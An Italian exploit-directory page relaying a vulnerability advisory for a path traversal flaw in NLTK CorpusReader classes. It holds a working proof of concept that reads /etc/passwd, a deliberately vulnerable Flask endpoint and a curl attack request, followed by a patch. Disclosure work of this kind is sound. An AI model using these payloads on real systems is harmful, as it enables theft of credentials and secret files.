Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-0847 — Una vulnerabilità nelle versioni di NLTK fino alla 3.9.2 inclusa consente la lettura arbitraria di file tramite path traversal in diverse classi CorpusReader, tra cui WordListCorpusReader, TaggedCorpusReader e BracketParseCorpusReader. | Kitploit
Strumenti/GitHubGitHub/hyperps/cve-2026-0847
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingPaper e RicercaApprendimento e Formazione
GitHubhyperps/cve-2026-0847

CVE-2026-0847

Una vulnerabilità nelle versioni di NLTK fino alla 3.9.2 inclusa consente la lettura arbitraria di file tramite path traversal in diverse classi CorpusReader, tra cui WordListCorpusReader, TaggedCorpusReader e BracketParseCorpusReader.

Vedi Repository
156 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-0847 — Classi Multiple CorpusReader di NLTK: Lettura Arbitraria di File tramite Path Traversal


Panoramica

CampoDettagli
ID CVECVE-2026-0847
Pacchettonltk (Natural Language Toolkit)
RegistroPyPI
Versioni Affette<= 3.9.2
Tipo di VulnerabilitàCWE-22: Path Traversal
Punteggio CVSS8.6 (Alto)
Vettore di AttaccoRete
Complessità di AttaccoBassa
Privilegi RichiestiNessuno
Interazione UtenteNessuna
Impatto sulla RiservatezzaAlto
Impatto sull'IntegritàBasso
Impatto sulla DisponibilitàBasso
Segnalato il4 dicembre 2025
CVE Pubblicato4 marzo 2026
Supportato daPalo Alto Networks / Prisma AIRS
StatoRisolto

Descrizione

Diverse classi CorpusReader nella libreria NLTK accettano argomenti di percorso file senza applicare alcuna canonicalizzazione del percorso, validazione tramite allowlist o restrizioni sandbox. Quando un attaccante controlla il nome del file del corpus o l'input file — uno scenario comune nelle API di machine learning, nelle pipeline NLP basate su upload e nei servizi chatbot — può fornire un percorso appositamente costruito per attraversare la gerarchia delle directory e leggere file arbitrari sul server.

Questa vulnerabilità è particolarmente critica nelle distribuzioni in rete in cui NLTK elabora percorsi file controllati dall'utente, poiché per sfruttarla non è richiesta alcuna autenticazione o privilegio.


Componenti Coinvolti

ClasseFileStato
WordListCorpusReaderwordlist.py L1–L120Vulnerabile
TaggedCorpusReadertagged.py L1–L140Vulnerabile
BracketParseCorpusReaderbracket_parse.py L1–L150Vulnerabile
Altre classi che utilizzano lo stesso pattern di base—In attesa di un audit più ampio

Tutte e tre le classi ereditano lo stesso metodo non sicuro CorpusReader.open(), che non applica alcuna restrizione sul percorso prima di risolvere e leggere l'identificatore di file fornito.


Impatto

Lo sfruttamento riuscito di questa vulnerabilità può comportare:

  • Lettura arbitraria di file — Un attaccante può leggere qualsiasi file accessibile al processo che esegue NLTK, inclusi /etc/passwd, /etc/shadow e /var/log/auth.log
  • Esposizione di credenziali e segreti — Chiavi private SSH (~/.ssh/id_rsa), file .env, token API e file di credenziali cloud possono essere estratti
  • Divulgazione di codice sorgente e dati di addestramento — I dati di addestramento di altri utenti o il codice sorgente proprietario dell'applicazione possono essere letti
  • Esecuzione remota di codice (in catena) — Se combinata con vulnerabilità di deserializzazione pickle, il path traversal può essere utilizzato per caricare file di modello dannosi e scalare fino alla RCE completa
  • Movimento laterale — Negli ambienti di microservizi, è stato osservato che i segreti estratti consentono il movimento laterale e il compromesso completo del server

Prova di Concetto

Queste informazioni sono fornite esclusivamente a scopo educativo e difensivo. Non effettuare test su sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test.

Lettura Locale di File tramite API Diretta

# PoC.py — demonstrates arbitrary file read using three vulnerable CorpusReader classes

from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer

root = FileSystemPathPointer("/")   # unrestricted filesystem root
target = "etc/passwd"               # any sensitive file path

print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])

print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])

print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])

Output (abbreviato):

--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

Scenario di Sfruttamento Remoto — API Flask Vulnerabile

Uno scenario realistico in cui NLTK è esposto tramite un'API HTTP:

# Vulnerable API server
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer

app = Flask(__name__)
root = FileSystemPathPointer("/")

@app.post("/read")
def read_file():
    filename = request.json.get("file")
    reader = WordListCorpusReader(root, [filename])
    return reader.raw(filename)

app.run("0.0.0.0", 8000)

Richiesta dell'attaccante:

curl -X POST http://TARGET:8000/read \
     -H "Content-Type: application/json" \
     -d '{"file": "etc/passwd"}'

Risultato: L'intero contenuto di /etc/passwd viene restituito all'attaccante senza richiedere autenticazione.


Causa Principale

La vulnerabilità ha origine in CorpusReader.open(). Il metodo risolve il fileid fornito direttamente rispetto al percorso radice configurato utilizzando FileSystemPathPointer.join() senza eseguire nessuno dei seguenti controlli:

  • Rifiuto dei percorsi assoluti
  • Rilevamento della risalita delle directory padre (..)
  • Normalizzazione del percorso e confronto per imporre il confinamento all'interno della radice del corpus

Poiché FileSystemPathPointer può essere inizializzato con /, un attaccante che controlla l'argomento del nome file dispone di accesso in lettura senza restrizioni all'intero filesystem.


Patch Suggerita

Correzione minima proposta dal ricercatore, da applicare all'interno di CorpusReader.open():

import os

normalized = fileid.replace("\\", "/")

# Block absolute paths
if os.path.isabs(normalized):
    raise ValueError("Absolute paths are not permitted.")

# Block directory traversal sequences
if ".." in normalized.split("/"):
    raise ValueError("Path traversal sequences are not permitted.")

# Enforce confinement within corpus root
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
    os.path.normpath(self._root._path)
):
    raise ValueError("Path escapes the corpus root directory.")

La pull request di correzione upstream è disponibile su: https://github.com/nltk/nltk/pull/3479


Mitigazione

Scarica lo strumento